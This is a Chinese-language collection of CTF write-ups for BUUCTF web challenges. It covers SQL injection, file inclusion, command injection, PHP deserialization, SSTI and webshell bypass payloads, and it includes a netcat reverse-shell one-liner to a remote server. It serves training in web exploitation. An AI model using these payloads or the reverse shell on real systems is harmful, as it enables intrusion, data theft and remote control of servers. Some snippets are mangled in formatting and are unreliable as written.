buffctf的wp合集1

187 阅读8分钟

[极客大挑战 2019]Havefun

先f12看眼源码,发现有提示

get传参为dog会回显

[ACTF2020 新生赛]Include

点进tips问我们能找到flag吗

结合题目是文件包含并且url有可控传参读取flag

直接读读不到,先考虑 "php://input"伪协议 + POST发送PHP代码的经典套路,发现不行再尝试用php为协议来

file=php://filter/read=convert.base64-encode/resource=flag.php

发现读到了,解码得到flag

[GXYCTF2019]Ping Ping Ping

打开页面直接告诉我们用ip来传参,测一下发现这里是命令执行

直接看到flag.php,看看能不能直接读

过滤了空格,用${IFS}来代替 有时 cat 可能被过滤,那么尝试用 tac,反向输出;或者 linux命令中可以加 ``,所以甚至可以 ca\t /fl\ag

又提示说过滤了特殊字符那就换成IFSIFS1试一试发现可以

又提示过滤了flag,想到前面还有个index文件,看看里面有什么,好家伙过滤了这么多东西,而且flag这里是贪婪匹配

法一:编码绕过(只过滤了bash,但我们还有sh)

法三:变量覆盖(不懂为什么不同的覆盖方式会有不一样的结果)

法四:内联执行(所谓内联,就是将反引号内命令的输出作为输入执行)

  • 单个特殊字符:&/、``、?*<>'"()[]{}
  • 字符集 [\x{00}-\x{1f}]:ASCII 码在 031 之间的控制字符(如换行、制表符等不可见字符)。

[极客大挑战 2019]EasySQL

进去一个登陆界面,(随便输点东西跳转到check.php页面,可知此页面与数据库产生交互)加上题目告诉我们时sql注入了,试一下发现时单引号字符型

字符型万能账号密码,直接就进去了

[极客大挑战 2019]LoveSQL

又是这个界面,弱密码试一试跳转到check.php

试出来是单引号闭合

字符型万能账号密码试一下,登陆成功

网站用的get型传参

那就在传参的地方测试看有没有注入点,猜解sql查询语句中的列数

没有报错,只是密码错误,试到4才报错

说明有三个列,再找注入点,发现2,3都是(这里123只是好看,重要的是注入点的位置) ?username=1' union select 1,2,3%23&password=ads

接下来爆库,报表,爆字段,爆内容(真正寻找信息的过程) UNION SELECT用于将两个或多个 SELECT 语句的结果集合并成一个结果集

  • user() :将会返回执行当前查询的用户名。
  • version() :获取当前数据库版本。
  • @@version_compile_os :获取当前操作系统

?username=1' union select 1,database(),3%23&password=ads

group_concat(table_name) 将当前数据库中的所有表名拼接成一个字符串,便于一次性提取

?username=1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema="geek"%23&password=ads group_concat(table_name) 将当前数据库中的所有表名拼接成一个字符串,便于一次性提取 information_schema.tables 是 MySQL 的系统表,存储了数据库中所有表的信息 table_schemainformation_schema.tables 表中的一个列,表示表所属的数据库

table_schemainformation_schema.tables 表中的一个列,表示表所属的数据库

猜测大概率flag在表l0ve1ysq1中(长得像lovesql)

?username=1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='l0ve1ysq1'%23&password=ads

?username=1' union select 1,2,group_concat(id,username,password) from l0ve1ysq1%23&password=ads

可以f12去找flag,也可以确定id打印出来

1' union select 1, 2, group_concat(password) from l0ve1ysq1 where id=16

[强网杯 2019]随便注

试出来发现是单引号闭合:

判断方式:

# 数字型
$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
# 字符型
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";

输入1' or 1 = 1 测试一下是否存在sql注入

说明后端参数后面有可能存在其他sql语句,我们在1' or 1 = 1后面加一个#,将可能存在的其他sql语句注释掉,即:1' or 1 = 1#,成功输出了该表的所有数据

先判断一下字段个数:' union select 1,2;# 这里看到正则过滤了关键字

既然select关键字无法使用(意味着联合查询,报错注入,布尔,时间盲注就都不可以使用了),我们可以通过堆叠注入的方式,来绕过select关键字

查看数据库名:1';show databases;#

查看数据表:1';show tables;#

查看表结构:有两种方式:

方式一:1'; show columns from tableName;#

方式二:1';desc tableName;#

注意,如果tableName是纯数字,需要用包裹,就像这里的1';desc 1919810931114514;#

法一:

select关键字被过滤了,所以我们可以通过预编译的方式拼接select 关键字:1';PREPARE a from concat('s','elect', ' * from 1919810931114514 ');EXECUTE a;#

这里set为变量赋值 PREPARE设置sql查询语法 EXECUTE 执行函数

法二:

上面concat里的部分也可以用16进制来绕过

也可以先定义一个变量并将sql语句初始化,然后调用

1';Set @jia = 0x73656c656374202a2066726f6d20603139313938313039333131313435313460;PREPARE hacker from @jia;EXECUTE hacker;#

法三:

还可以通过handle直接出答案:1';HANDLER1919810931114514OPEN;HANDLER1919810931114514READ FIRST;HANDLER1919810931114514CLOSE;

法四:

可以通过修改表名和列名来实现。我们输入1后,默认会显示id为1的数据,可以猜测默认显示的是words表的数据,查看words表结构第一个字段名为id我们把words表随便改成words1,然后把1919810931114514表改成words,再把列名flag改成id,就可以达到直接输出flag字段的值的效果:1'; alter table words rename to words1;alter table1919810931114514rename to words;alter table words change flag id varchar(50);#,然后通过1' or 1 = 1 #

[ACTF2020 新生赛]Exec

题目提示命令执行,老样子搞一下

好像没什么用,看看上级的目录有没有什么

发现flag,查看

法二:反弹shell 127.0.0.1 & rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 远程服务器ip 8899 >/tmp/f

[SUCTF 2019]EasySQL

手工盲注嘛,会发现连sleep等都全部过滤掉了,而且你输入数字的时候回显是:

Array ( [0] => 1 )

输入字符的时候啥也不回显。 这个时候其实就懂得要放弃布尔盲注、时间盲注了。 这种格式很明显是要你搞后端代码

后端既然能做到数字回显字母不回显,说明有一个 或 结构,而且不直接回显flag,但作为一道题目,from一定是from flag

sql=select.post[‘query’]."||flag from Flag"; 如果$post[‘query’]的数据为*,1,sql语句就变成了select *,1||flag from Flag, 就是select *,1 from Flag,这样就直接查询出了Flag表中的所有内容。 解法二:

把||变成字符串连接符,而不是或

涉及到mysql中sql_mode参数设置,设置 sql_mode=pipes_as_concat字符就可以设置。

1;set sql_mode=PIPES_AS_CONCAT;select 1

[极客大挑战 2019]Http

1.什么是 Referer? 就是你点击A标签 Referer的信息告诉服务端你从哪里点击出来的。

2.什么是User-Agent? User Agent中文名为用户代理,简称 UA,它是一个特殊字符串头,使得服务器能够识别客户使用的操作系统及版本、CPU 类型、浏览器及版本、浏览器渲染引擎、浏览器语言、浏览器插件等。可以抓包进行修改其中的值。

3.什么是X-Forwarded-For? X-Forwarded-For(XFF)是用来识别通过HTTP代理或负载均衡方式连接到Web服务器的客户端最原始的IP地址的HTTP请求头字段。大概就是传输自己真实的IP地址,阻止匿名请求,但同样的也可以通过抓包进行修改。

[极客大挑战 2019]Secret File

f12发现有一个跳转页面

发现啥也没有,只能抓包看看有没有什么信息

发现有个secr3t.php,访问一下,终于看见阳光

这里源码的意思是

检查file参数是否包含以下字符串:

../:防止路径遍历攻击。

tp:防止访问与tp(可能是ThinkPHP框架相关)相关的文件。

input:防止访问包含input`的文件。

data:防止访问包含data`的文件。

如果检测到上述字符串,输出“禁止访问”并退出

可以通过编码绕过(如%2e%2e%2f)或使用其他形式的路径遍历

strstr()和stristr()都用于在一个较长的字符串中搜索指定的子字符串, //并返回从该子字符串第一次出现的位置开始到字符串末尾的部分。 //两者区别在于前者对大小写敏感,后者对大小写不敏感

包含flag.php看一下

这里可以用php为协议secr3t.php?file=php://filter/read=convert.base64-encode/resource=flag.php(并没有被过滤)

base64解密得到flag

[HCTF 2018]WarmUp

f12有提示

访问一下source.php,发现了源码,还有个文件hint.php,访问一下

ffffllllaaaagggg是在hint.php中发现的,显然flag在这个文件里

highlight_file(__FILE__);   此代码会高亮显示当前 PHP 文件的源代码,常用于调试或展示代码。

mb_strpos($page . '?', '?')

  • 此函数用来查找子字符串?在字符串$page . '?'中首次出现的位置。
  • ?添加到$page的末尾,目的是保证?一定会存在于字符串中,防止mb_strpos返回false
  • 要是$page里本身就有?,就会返回其首次出现的位置;若没有,就会返回$page的长度

hint.php?../…/…/…/…/ffffllllaaaagggg

[MRCTF2020]Ez_bypass

MD5函数绕过思路 1.传md5值是0e开头的字符串,比如 QNKCDZO(0e830400451993494058024219903391) 和 s878926199a(0e545993274517709034328855841020) 因为php在利用”!=”或”==”来对哈希值进行比较,它把每一个以”0E”开头的哈希值都解释为0 2.传递数组 因为向md5函数传递数组会返回NULL

is_numeric() 函数用于检测变量是否为数字或数字字符串。PHP 版本要求:PHP 4, PHP 5, PHP 7

[SUCTF 2019]CheckIn

上传普通的一句话提示过滤了<?,可以用插入

的图片马绕过 还可以在前面加 幻术头绕过 GIF89a(GIF图片的ascii 值)

[GXYCTF2019]BabySQli

常规sql注入方式给上去,测得是单引号字符型

f12得到一个像是加密的东西

梭哈知道是先base32再base64的编码,提示我们要传入一个变量name

hackbar打开也直接给了name

因为是post请求,所以bp抓包,在这直接hackbar(有回显)测得字段数为3

'union select 1,2,3#

发现没有直接将回显返回出来

理论上来说,联合查询是不可以使用的

同时,这道题是会有返回了错误信息,是不是感觉报错注入在向自己招手?

想尝试可以故意使用错误的sql语句看是否有错误信息回显

但痛苦的是,在本关过滤掉了 database(),最关键的是他把“()”也过滤掉了

这一关利用sqli的特性:在联合查询并不存在的数据时,联合查询就会构造一个虚拟的数据。

所以,如果我们使用联合查询访问,一个真实存在的用户名和一个我们自己编造的密码,就会使虚拟数据混淆admin密码,从而使我们成功登录,得到 flag

判断回显点

2,3都是

在这里账号是admin猜的,查看源码发现密码只要经过md5加密就可以

[GYCTF2020]Blacklist

测出是单引号闭合,并且有正常回显,尝试联合查询,发现过滤了些关键字,用不了联合查询了

漏洞成因

  • 使用mysqli_multi_query()这种支持多语句执行的函数
  • 使用PDO的方式进行数据查询,创建PDO实例时PDO::MYSQL_ATTR_MULTI_STATEMENTS设置为true时,可以执行多语句

这时可以用堆叠注入

获取库名、表名、列名

setrename都被过滤时可以通过handler语句来获取flag

[网鼎杯 2020 青龙组]AreUSerialz

代码审计

PHP知识了解:

PHP访问修饰符 public 公共的 任何成员都可以访问 private 私有的 只有自己可以访问 绕过方式:%00类名%00成员名 *protected ** 保护的 只有当前类的成员与继承该类的类才能访问 绕过方式:%00%00成员名

PHP类 class 创建类

PHP关键字 function 用于用户声明自定义函数 $this-> 表示在类本身内部使用本类的属性或者方法 isset 用来检测参数是否存在并且是否具有值

PHP常见函数 include() 包含函数 ** ** highlight_file() 函数对文件进行语法高亮显示 file_put_contents() 函数把一个字符串写入文件中 file_get_contents() 函数把整个文件读入一个字符串中 is_valid() 检查对象变量是否已经实例化,即实例变量的值是否是个有效的对象 strlen 计算字符串长度 ord 用于返回 “S” 的 ASCII值,其语法是ord(string),参数string必需,指要从中获得ASCII值的字符串

PHP魔法函数 __construct() 实例化对象时被调用 __destruct() 当删除一个对象或对象操作终止时被调用

class FileHandler {
​
    protected $op;
    protected $filename;
    protected $content;
​
    function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();
    }
​
    public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }
​
    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }
​
    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }
​
    private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }
​
    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }
​
}
​

构析函数中,op使用强类型比较===判断this->op的值是否等于字符串2,如果等于,则将其置为1。之后执行process()方法。 在process()方法中,则使用弱类型比较==判断op的值是否对等于字符串2,若为真,则执行read()方法与output()方法。而read方法中,使用file_get_contents()函数来读取属性filename路径的文件。

于是我们发现,若想读取flag,需要绕过process()方法的判断,防止op被置一。于是可以传入一个数字2,绕过process()方法的判断 第一种解法 突破ord函数限制(利用ord函数 返回 “S” 的 ASCII值 s为字符串类型 S为16进制字符串数据类型 绕过方式%00转换为\00即可绕过) 序列化代码

<?php
  class FileHandler {
  protected $op = 2;
  protected $filename ='flag.php';         
 //题目中包含flag的文件
protected $content;
​
}
$bai = urlencode(serialize(new FileHandler)); 
//URL编码实例化后的类FileHandler序列化结果
$mao =str_replace('%00',"\00",$bai);    
//str_replace函数查找变量bai里面的数值%00并将其替换为\00
$mao =str_replace('s','S',$mao);         
//str_replace函数查找变量mao里面的数值s并将其替换为S
echo $mao                                               
//打印结果
?>

运行得

O%3A11%3A%22FileHandler%22%3A3%3A%7BS%3A5%3A%22\00%2A\00op%22%3Bi%3A2%3BS%3A11%3A%22\00%2A\00filename%22%3BS%3A8%3A%22flag.php%22%3BS%3A10%3A%22\00%2A\00content%22%3BN%3B%7D

第二种解法 突破protected访问修饰符限制

这个关键点是将受保护的对象转换成公共对象

<?php
  class FileHandler {
  protected $op = 2;
  protected $filename ='php://filter/read=convert.base64-encode/resource=flag.php';             
//php://filter伪协议
protected $content;
​
}
$baimao=serialize(new FileHandler());
//实例化并序列化类FileHandler
echo $baimao;
//打印结果
?>

[BSidesCF 2020]Had a bad day

f12没发现,随便点一下,发现是个get传参,测试下有没有sql注入

使用了include函数,并且会在最后自动添加一个.php 利用php为协议尝试查看源码

a854196a-76a8-4258-9088-973ab48d7722.node4.buuoj.cn:81/index.php?category=php://filter/read=convert.base64-encode/resource=index

复制base64解码得到核心代码

​
              <?php
                $file = $_GET['category'];
​
                if(isset($file))
                {
                    if( strpos( $file, "woofers" ) !==  false || strpos( $file, "meowers" ) !==  false || strpos( $file, "index")){
                        include ($file . '.php');
                    }
                    else{
                        echo "Sorry, we currently only support woofers and meowers.";
                    }
                }
                ?>
            

strpos 的用途和行为:它用于检查字符串是否包含特定子字符串,只有当这些子字符串存在时,才会加载文件

意思是我们传参必须要有woofers、meowers、index中的其中一个,构造payload

php://filter/read=convert.base64-encode/woofers/resource=flag

解码得flag

[网鼎杯 2018]Fakebook

打开这样

f12没东西没思路,扫下目录看看也没有东西

dirseach自带的字典在db目录下,使用格式以及常用参数如下:<br>py dirsearch.py ``-``u [target url] ``-``e ``*
-``u后面跟要扫的url
-``e是指定的url
-``w是指定字典
-``r递归目录
-``-``random``-``agents使用随机UA

[BUUCTF 2018]Online Tool

点进去直接就是php代码,直接代码审计

escapeshellarg()
​
把字符串转码为可以在 shell 命令里使用的参数。
escapeshellarg() 将给字符串增加一个单引号并且能引用或者转码任何已经存在的单引号,这样以确保能够直接将一个字符串传入 shell 函数,并且还是确保安全的。对于用户输入的部分参数就应该使用这个函数。shell 函数包含 exec(), system() 执行运算符
即如果输入内容不包含单引号,则直接对输入的字符串添加一对单引号括起来;如果输入内容包含单引号,则先对该单引号进行转义,再对剩余部分字符串添加相应对数的单引号括起来
如果输入yq1ng’s,对应’yq1ng’\‘’s’
​
escapeshellcmd()
​
shell 元字符转义
escapeshellcmd() 对字符串中可能会欺骗 shell 命令执行任意命令的字符进行转义。 此函数保证用户输入的数据在传送到 exec() 或 system() 函数,或者 执行操作符 之前进行转义。
反斜线(\)会在以下字符之前插入: &#;`|*?~<>^()[]{}$, \x0A 和 \xFF。 ‘ 和 “ 仅在不配对儿的时候被转义。 在 Windows 平台上,所有这些字符以及 % 和 ! 字符都会被空格代替。
即:1、有特殊字符–>转义;2、单、双引号不成对–>转义
‘yq1ng’s’?–>’yq1ng’s\‘;
escapeshellcmd()主要是防止用户利用shell的一些技巧(如分号、管道符、反引号等)来进行命令注入攻击
​
处理过程:如果输入内容中&#;`|*?~<>^()[]{}$, \x0A 和 \xFF等特殊字符会被反斜杠给转义掉;如果单引号和双引号不是成对出现时,会被转义掉
场景功能:
1.确保用户只执行一个命令
2.用户可以指定不限数量的参数
3.用户不能执行不同的命令
实现: 如果存在,将REMOTE_ADDR替换为HTTP_X_FORWARDED_FOR的值。
问题: X-Forwarded-For头可以被客户端伪造,导致服务器误以为请求来自一个受信任的IP地址。例如,攻击者可以伪造这个头为一个内部IP地址(如192.168.1.1),从而绕过某些基于IP的访问控制。
实现: highlight_file(__FILE__)会将当前脚本的源代码以语法高亮的方式输出到浏览器。
问题: 这会导致服务器的源代码直接暴露给用户。攻击者可以利用泄露的源代码信息进一步分析和攻击服务器
获取用户输入: $host = $_GET['host'];获取用户通过host参数提供的值。
转义处理: 对$host值依次调用escapeshellarg和escapeshellcmd进行转义。
escapeshellarg:在命令行参数周围添加单引号,并转义单引号。
escapeshellcmd:转义命令字符串中的特殊字符,防止命令注入。
生成沙箱目录: $sandbox = md5("glzjin".$_SERVER['REMOTE_ADDR']);根据客户端IP生成一个唯一的沙箱目录名。
创建并切换目录: @mkdir($sandbox);创建沙箱目录(@用于抑制错误输出),chdir($sandbox);切换到该目录。
​
传入的参数是:``172.17``.``0.2``' ``-``v ``-``d a``=``1
经过escapeshellarg处理后变成了``'172.17.0.2'``'``' -v -d a=1'``,即先对单引号转义,再用单引号将左右两部分括起来从而起到连接的作用。
经过escapeshellcmd处理后变成``'172.17.0.2'``\'``' -v -d a=1'``,这是因为escapeshellcmd对\以及最后那个不配对儿的引号进行了转义:http:``/``/``php.net``/``manual``/``zh``/``function.escapeshellcmd.php
最后执行的命令是curl ``'172.17.0.2'``\'``' -v -d a=1',由于中间的\被解释为\而不再是转义字符,所以后面的'``没有被转义,与再后面的``'配对儿成了一个空白连接符。所以可以简化为curl 172.17.0.2\ -v -d a=1'``,即向``172.17``.``0.2``\发起请求,POST 数据为a``=``1``'。

也就是说在host变量里面我们不能使用 ; & | 等符号来执行多条命令,不过题目里面提示了我们RCE,同时对于这两个函数简单查找了之后,发现两个一起使用的时候存在漏洞

为了构造命令读取flag,我们应当从nmap入手,查资料可以知道,nmap有一个参数-oG可以实现将命令和结果写到文件

所以我们可以控制自己的输入写入文件,构造payload为 ?host=' -oG 1.php '

执行成功 可能保存在 e6305cd14dbe6e1fc4041d81cb3fc9ee(是个目录)

[SWPU2019]Web1

二次注入漏洞在CTF中常见于留言板和注册登录功能,简单来说可以分为两个步骤:

  1. 插入恶意数据(发布帖子,注册账号),用mysql_escape_string()函数对恶意字符进行转义,但是再将数据写入数据库中的时候又保留了原来的数据.
  2. 引用插入的恶意数据:在进行查询时,直接从数据库中引用恶意数据,没有做进一步过滤和检验

经过尝试发现过滤了空格,or,and,--+,#,order等关键字

order by可以使用group by代替,空格可以使用/**/代替,注释符可以采用闭合的方式代替,如group by 1,'2

试到22的时候不爆错,说明字段数为22

'/ /group/ /by/**/22,'

'/ /union/ /select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22

确认了回显的是2和3对应字段

查看数据库用户,版本

查询表时,发现information_schema.tables被过滤,删除information_schema.tables后正常

information_schema在注入中不可或缺的原因无非是因为它包含了所有其他数据库的信息,主要是table_schema,table_name.column_name等等。那么有没有具有类似功能的存在呢?文章中提供了一种解法:5.7版本中新增了sys.schema sys.schema_auto_increment_columns该视图的作用就是用来对表自增ID的监控。如果表中存在自增id,那么这个视图就会包含这一 表(前提是使用的mysql)mariDB有mysql.innodb_table_stats表可以查表名

-1'/**/union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/sys.schema_auto_increment_colum ns/**/where/**/table_schema=schema()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22
-1'union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22

-1'union/**/select/**/1,(select/**/group_concat(a)/**/from/**/(select/**/1,2,3/**/as/**/a/**/union/**/select/**/*/**/from/**/users)/**/as/**/b),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22

在这用使用无列名注入(无列名注入主要是适用于已经获取到数据表,但无法查询列的情况下,在大多数 CTF 题目中,information_schema 库被过滤,使用这种方法获取列名。

无列名注入的原理其实很简单,类似于将我们不知道的列名进行取别名操作,在取别名的同时进行数据查询,所以,如果我们查询的字段多于数据表中列的时候,就会出现报错。)

-1'union/**/select/**/1,(select/**/group_concat(b)/**/from(select/**/1,2/**/as/**/a,3/**/as/**/b/**/union/**/select/**/*/**/from/**/users)as/**/x),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22

[BJDCTF2020]Cookie is so stable

进去都点点,有三个页面都f12看一下,发现提醒我们要注意cookie

对flag页面抓包并拦截回报,发现多了个user=1

猜测是SSTI注入

SSTI 就是服务器端模板注入(Server-Side Template Injection)

当前使用的一些框架,比如python的flask,php的tp,java的spring等一般都采用成熟的的MVC的模式,用户的输入先进入Controller控制器,然后根据请求类型和请求的指令发送给对应Model业务模型进行业务逻辑判断,数据库存取,最后把结果返回给View视图层,经过模板渲染展示给用户。

漏洞成因就是服务端接收了用户的恶意输入以后,未经任何处理就将其作为 Web 应用模板内容的一部分,模板引擎在进行目标编译渲染的过程中,执行了用户插入的可以破坏模板的语句,因而可能导致了敏感信息泄露、代码执行、GetShell 等问题。其影响范围主要取决于模版引擎的复杂性。

凡是使用模板的地方都可能会出现 SSTI 的问题,SSTI 不属于任何一种语言,沙盒绕过也不是,沙盒绕过只是由于模板引擎发现了很大的安全漏洞,然后模板引擎设计出来的一种防护机制,不允许使用没有定义或者声明的模块,这适用于所有的模板引擎。

1. SSTI(模板注入)漏洞(入门篇) - bmjoker - 博客园

输入{{7*‘7’}},返回49表示是 Twig 模块

输入{{7*‘7’}},返回7777777表示是 Jinja2 模块

这里在cookie处进行判断

user={{7*‘7’}},查看返回值

由于是Twig注入,所以是有固定的payload

{{self.env.registerUndefinedFilterCallback("exec")}}{{ self.env.getFilter("id")}}//查看id {{self.env.registerUndefinedFilterCallback("exec")}}{{ self.env.getFilter("cat /flag")}}//查看flag

[BJDCTF2020]The mystery of ip

flag处有IP值,结合题目“ip的秘密”,可能存在X-Forwarded-For注入,对flag界面进行抓包

加上xff头

PHP可能存在Twig模版注入漏洞,Flask可能存在Jinjia2模版注入漏洞 添加模板算式,{{7*7}}执行成功

尝试是否能执行命令:{{system('ls')}}

可以继续获取flag {{system('cat /flag')}}

[BJDCTF2020]ZJCTF,不过如此

代码审计

先看代码,提示了next.php,绕过题目的要求去回显next.php的base64加密内容

看到用的是file_get_contents()函数打开text。想到用data://协议

第一部分是 data: 协议头,它标识这个内容为一个 data URI 资源。

第二部分是 MIME 类型,表示这串内容的展现方式,比如:text/plain,则以文本类型展示,image/jpeg,以 jpeg 图片形式展示,同样,客户端也会以这个 MIME 类型来解析数据。

第三部分是编码设置,默认编码是 charset=US-ASCII, 即数据部分的每个字符都会自动编码为 %xx,关于编码的测试,可以在浏览器地址框输入分别输入下面两串内容,查看效果: 第四部分是 base64 编码设定,这是一个可选项,base64 编码中仅包含 0-9,a-z,A-Z,+,/,=,其中 = 是用来编码补白的。

最后一部分为这个 Data URI 承载的内容,它可以是纯文本编写的内容,也可以是经过 base64编码 的内容。

    payload: ?text=data://text/plain,I have a dream&file=php://filter/convert.base64-encode/resource=next.php

也可以bp抓包直接弄

解码

<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;
​
function complex($re, $str) {
    return preg_replace(
        '/(' . $re . ')/ei',
        'strtolower("\1")',
        $str
    );
}
​
foreach($_GET as $re => $str) {
    echo complex($re, $str). "\n";
}
​
function getFlag(){
    @eval($_GET['cmd']);
}

这里的漏洞出在preg_replace /e 模式下

e模式下的preg_replace可以让第二个参数'替换字符串'当作代码执行,但是这里第二个参数是不可变的,但因为有这种特殊的情况,正则表达式模式或部分模式两边添加圆括号会将相关匹配存储到一个临时缓存区,并且从1开始排序,而strtolower("\1")正好表达的就是匹配区的第一个(\1=\1),从而我们如果匹配可以,则可以将函数实现。 比如我们传入 ?.*= {${phpinfo()}}

原句:preg_replace('/(' . re.)/ei,strtolower("\1"),re . ')/ei','strtolower("\1")',str); 就变成preg_replace('/(' .* ')/ei','strtolower("\1")', {${phpinfo()}} );

又因为$_GET传入首字母是非法字符时候会把 .(点号)改成下划线,因此得将.* 换成\s*

\S是什么意思?

正则表达式\S匹配非空字符

所有payload:?\S*=${getFlag()}&cmd=system('ls /');

为什么用{${getFlag()}} 这个写法?

${phpinfo()}会调用phpinfo()函数并试图将结果嵌入到字符串中。

而如果使用phpinfo()函数,它不会自动嵌入到字符串中。

[极客大挑战 2019]RCE ME

代码审计,穿的code参数不能超40个字符,不能含大小写和数字(可以使用 异或绕过 和url编码取反绕过绕过:任意php版本下均可使用)

我们要先访问 phpinfo 来查找被禁用的函数,从而进一步来构造我们的payload

url编码取反绕过 :就是我们将php代码url编码后取反,我们传入参数后服务端进行url解码,这时由于取反后,会url解码成不可打印字符,这样我们就会绕过。

即,对查询语句取反,然后编码。在编码前加上~进行取反,括号没有被过滤,不用取反

异或饶过 异或:将两个字符的ascii转化为二进制 进行异或取值 从而得到新的二进制 转化为新的字符

是PHP7,但是system、exec、shell_exec等命令执行的函数都被禁止了

在这里,我们不能直接使用eval 因为 eval并不是php函数 所以为我们无法通过变量函数的方法进行调用。 在这里,我们使用 assert 来构造,但由于php版本问题,我们并不能直接构造<?php assert(POST[a]);>,我们需要调用eval拼接为asserteval(*POST['a']);>,我们需要调用eval 拼接为 assert(eval(* POST[test]))

构造脚本获取url编码取反

<?php 
error_reporting(0);
$a='assert';
$b=urlencode(~$a);
echo $b;
echo "<br>";
$c='(eval($_POST[test]))';
$d=urlencode(~$c);
echo $d;
 ?>

拼接为 assert(eval($_POST[test]))的payload

?code=(%9E%8C%8C%9A%8D%8B)(%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%DD%8B%9A%8C%8B%DD%A2%D6%D6);

连接成功

由于 disable_functions的存在我们不能说直接读取flag,需要借助readflag来读取

借助蚁剑中的插件进行绕过